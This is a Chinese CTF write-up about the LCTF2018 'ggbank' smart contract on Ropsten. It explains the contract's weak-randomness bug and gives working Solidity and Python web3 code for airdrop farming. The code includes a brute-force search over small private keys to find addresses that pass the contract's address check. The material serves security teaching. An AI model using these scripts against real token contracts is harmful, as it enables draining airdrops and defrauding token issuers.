作者:LoRexxar'@知道創宇404區塊鏈安全研究團隊
時間:2018年11月20日
11.18號結束的LCTF2018中有一個很有趣的智能合約題目叫做ggbank,題目的原意是考察弱隨機數問題,但在題目的設定上挺有意思的,加入了一個對地址的驗證,導致弱隨機的難度高了許多,反倒是薅羊毛更快樂了,下面就借這個題聊聊關于薅羊毛的實戰操作。
分析
源代碼
https://ropsten.etherscan.io/address/0x7caa18d765e5b4c3bf0831137923841fe3e7258a#code
首先我們照例來分析一下源代碼
和之前我出的題風格一致,首先是發行了一種token,然后基于token的挑戰代碼,主要有幾個點
modifier authenticate { //修飾器,在authenticate關鍵字做修飾器時,會執行該函數
require(checkfriend(msg.sender));_; // 對來源做checkfriend判斷
}
跟著看checkfriend函數
function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";
for (uint256 i = 0; i < 34; i++) { //逐漸對比最后5位
if (addr & gg == id) { // 當地址中包含7d7ec時可以繼續
return true;
}
gg <<= 4;
id <<= 4;
}
return false;
}
checkfriend就是整個挑戰最大的難點,也大幅度影響了思考的方向,這個稍后再談。
function getAirdrop() public authenticate returns (bool success){
if (!initialized[msg.sender]) { //空投
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
空投函數沒看有什么太可說的,就是對每一個新用戶都發一次空投。
然后就是goodluck函數
function goodluck() public payable authenticate returns (bool success) {
require(!locknumber[block.number]); //判斷block.numbrt
require(balances[msg.sender]>=100); //余額大于100
balances[msg.sender]-=100; //每次調用要花費100token
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100; //隨機數
if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){ //隨機數判斷
balances[msg.sender]+=20000;
_totalSupply +=20000;
locknumber[block.number] = true;
}
return true;
}
然后只要余額大于200000就可以拿到flag。
其實代碼特別簡單,漏洞也不難,就是非常常見的弱隨機數問題。
隨機數的生成方式為
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100;
另一個的生成方式為
uint(keccak256(abi.encodePacked(msg.sender))) % 100
其實非常簡單,這兩個數字都是已知的,msg.sender可以直接控制已知的地址,那么左值就是已知的,剩下的就是要等待一個右值出現,由于block.number是自增的,我們可以通過提前計算出一個block.number,然后寫腳本監控這個值出現,提前開始發起交易搶打包,就ok了。具體我就不詳細提了。可以看看出題人的wp。
https://github.com/LCTF/LCTF2018/tree/master/Writeup/gg%20bank
但問題就在于,這種操作要等block.number出現,而且還要搶打包,畢竟還是不穩定的。所以在做題的時候我們關注到另一條路,薅羊毛,這里重點說說這個。
合約薅羊毛
在想到原來的思路過于復雜之后,我就順理成章的想到薅羊毛這條路,然后第一反正就是直接通過合約建合約的方式來碰這個概率。
思路來自于最早發現的薅羊毛合約http://www.bjnorthway.com/646/
這個合約有幾個很精巧的點。
首先我們需要有基本的概念,在以太坊上發起交易是需要支付gas的,如果我們不通過合約來交易,那么這筆gas就必須先轉賬過去eth,然后再發起交易,整個過程困難了好幾倍不止。
然后就有了新的問題,在合約中新建合約在EVM中,是屬于高消費的操作之一,在以太坊中,每一次交易都會打包進一個區塊中,而每一個區塊都有gas消費的上限,如果超過了上限,就會爆gas out,然后交易回滾,交易就失敗了。
contract attack{
address target = 0x7caa18D765e5B4c3BF0831137923841FE3e7258a;
function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";
for (uint256 i = 0; i < 34; i++) {
if (addr & gg == id) {
return true;
}
gg <<= 4;
id <<= 4;
}
return false;
}
function attack(){
// getairdrop
if(checkfriend(address(this))){
target.call(bytes4(keccak256('getAirdrop()')));
target.call(bytes4(keccak256("transfer(address,uint256)")),0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C, 1000);
}
}
}
contract doit{
function doit() payable {
}
function attack_starta() public {
for(int i=0;i<=50;i++){
new attack();
}
}
function () payable {
}
}
上述的poc中,有一個很特別的點就是我加入了checkfriend的判斷,因為我發現循環中如果新建合約的函數調用revert會導致整個交易報錯,所以我干脆把整個判斷放上來,在判斷后再發起交易。
可問題來了,我嘗試跑了幾波之后發現完全不行,我忽略了一個問題。
讓我們回到checkfriend
function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";
for (uint256 i = 0; i < 34; i++) {
if (addr & gg == id) {
return true;
}
gg <<= 4;
id <<= 4;
}
return false;
}
checkfriend只接受地址中帶有7d7ec的地址交易,光是這幾個字母出現的概率就只有1/36*1/36*1/36*1/36*1/36這個幾率在每次隨機生成50個合約上計算的話,概率就太小了。
必須要找新的辦法來解決才行。
python腳本解決方案
既然在合約上沒辦法,那么我直接換用python寫腳本來解決。
這個挑戰最大的問題就在于checkfriend這里,那么我們直接換一種思路,如果我們去爆破私鑰去恢復地址,是不是更有效一點兒?
其實爆破的方式非常多,但有的恢復特別慢,也不知道瓶頸在哪,在換了幾種方式之后呢,我終于找到了一個特別快的恢復方式。
from ethereum.utils import privtoaddr, encode_hex
for i in range(1000000,100000000):
private_key = "%064d" % i
address = "0x" + encode_hex(privtoaddr(private_key))
我們拿到了地址之后就簡單了,首先先轉0.01eth給它,然后用私鑰發起交易,獲得空投、轉賬回來。
需要注意的是,轉賬之后需要先等到轉賬這個交易打包成功,之后才能繼續下一步交易,需要多設置一步等待。
有個更快的方案是,先跑出200個地址,然后再批量轉賬,最后直接跑起來,不過想了一下感覺其實差不太多,因為整個腳本跑下來也就不到半小時,速度還是很可觀的。
腳本如下
import ecdsa
import sha3
from binascii import hexlify, unhexlify
from ethereum.utils import privtoaddr, encode_hex
from web3 import Web3
import os
import traceback
import time
my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/6528deebaeba45f8a0d005b570bef47d")
assert my_ipc.isConnected()
w3 = Web3(my_ipc)
target = "0x7caa18D765e5B4c3BF0831137923841FE3e7258a"
ggbank = [
{
"constant": True,
"inputs": [],
"name": "name",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [
{
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "INITIAL_SUPPLY",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "decimals",
"outputs": [
{
"name": "",
"type": "uint8"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "_totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "_airdropAmount",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [
{
"name": "owner",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "owner",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "symbol",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "_to",
"type": "address"
},
{
"name": "_value",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "b64email",
"type": "string"
}
],
"name": "PayForFlag",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": True,
"stateMutability": "payable",
"type": "function"
},
{
"constant": False,
"inputs": [],
"name": "getAirdrop",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [],
"name": "goodluck",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": True,
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": False,
"inputs": [
{
"indexed": False,
"name": "b64email",
"type": "string"
},
{
"indexed": False,
"name": "back",
"type": "string"
}
],
"name": "GetFlag",
"type": "event"
}
]
mytarget = "0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C"
mytarget_private_key = 這是私鑰
transaction_dict = {'chainId': 3,
'from':Web3.toChecksumAddress(mytarget),
'to':'', # empty address for deploying a new contract
'gasPrice':10000000000,
'gas':200000,
'nonce': None,
'value':10000000000000000,
'data':""}
ggbank_ins = w3.eth.contract(abi=ggbank)
ggbank_ins = ggbank_ins(address=Web3.toChecksumAddress(target))
nonce = 0
def transfer(address, private_key):
print(address)
global nonce
# 發錢
if not nonce:
nonce = w3.eth.getTransactionCount(Web3.toChecksumAddress(mytarget))
transaction_dict['nonce'] = nonce
transaction_dict['to'] = Web3.toChecksumAddress(address)
signed = w3.eth.account.signTransaction(transaction_dict, mytarget_private_key)
result = w3.eth.sendRawTransaction(signed.rawTransaction)
nonce +=1
while 1:
if w3.eth.getBalance(Web3.toChecksumAddress(address)) >0:
break
time.sleep(1)
# 空投
nonce2 = w3.eth.getTransactionCount(Web3.toChecksumAddress(address))
transaction2 = ggbank_ins.functions.getAirdrop().buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
print(transaction2)
signed2 = w3.eth.account.signTransaction(transaction2, private_key)
result2 = w3.eth.sendRawTransaction(signed2.rawTransaction)
# 轉賬
nonce2+=1
transaction3 = ggbank_ins.functions.transfer(mytarget, int(1000)).buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
print(transaction3)
signed3 = w3.eth.account.signTransaction(transaction3, private_key)
result3 = w3.eth.sendRawTransaction(signed3.rawTransaction)
if __name__ == '__main__':
j = 0
for i in range(1000000,100000000):
private_key = "%064d" % i
# address = create_address(private_key)
# print(address)
# if "7d7ec" in address:
# print(address)
address = "0x" + encode_hex(privtoaddr(private_key))
if "7d7ec" in address:
private_key = unhexlify(private_key)
print(j)
try:
transfer(address, private_key)
except:
traceback.print_exc()
print("error:"+str(j))
j+=1
最終效果顯著

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/747/
暫無評論